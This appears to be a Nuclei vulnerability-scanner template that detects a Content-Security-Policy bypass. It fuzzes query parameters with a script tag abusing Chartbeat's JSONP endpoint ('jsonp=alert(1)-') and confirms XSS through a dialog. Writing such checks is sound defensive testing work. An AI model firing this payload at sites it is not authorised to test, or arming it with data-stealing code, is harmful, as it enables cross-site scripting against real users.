id: chartbeat-api-csp-bypass

info:
  name: Content-Security-Policy Bypass - Chartbeat API
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,chartbeat-api

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "chartbeat.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: chartbeat_api_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://api.chartbeat.com/toppages/?jsonp=alert(1)-"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "chartbeat_api_csp_xss == true"
# digest: 4a0a00473045022100ddb0a11f0a6c5df358cc2cdcc28d5e50a24cb08057ecef58be55a394a6dd414e02205b9480f96bdc601b13d9ab9a5fa45bf00f926befc73608e2bd64dcda1c59f5b8:922c64590222798bb761d5b6d8e72950